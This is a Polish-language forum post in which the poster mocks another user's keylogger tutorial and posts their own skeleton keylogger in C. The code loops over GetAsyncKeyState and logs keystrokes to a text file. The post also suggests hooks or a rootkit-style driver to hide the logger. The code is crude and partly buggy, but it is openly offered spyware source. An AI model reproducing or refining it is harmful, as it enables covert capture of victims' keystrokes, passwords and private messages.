jakby nie było to nie wiem po co tutoriale ![Pytajnik](images/smilies/pytajnik.gif)
keylogger można napisać za pomocą jednej funkcji, tj
GetKeyState oraz GetAsyncKeyState
które są doskonale udokumentowane na MSDN.
Oto moja implementacja szkieletu examplowego keyloggera:
Kod:
// pseudo keylogger code wrote by g3t_d0wn //
/////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
int main(void) {
FILE* txt;
txt = fopen("keys.txt", "w");
if (txt == NULL) return -1;
int count = 0;
while(1) {
for(count = 48; count < 90; count ++) {
if (GetAsyncKeyState(count) & 0x01 == 1) {
fputc((char)count, txt);
}
}
}
fclose(txt);
return 0;
}
same banały
, jest jeszcze wiele możliwości implementacji keyloggera jak zastawienie hooków, napisanie sterownika łapiącego klawisze(bardziej rootkitowo, aby ukryć keylogger
).
//
nie chcę już tutaj wytykać więcej błędów, bo jest ich u ciebie masa, ale jeśli zamierzasz pisać coś takiego w Borland życzę powodzenia.....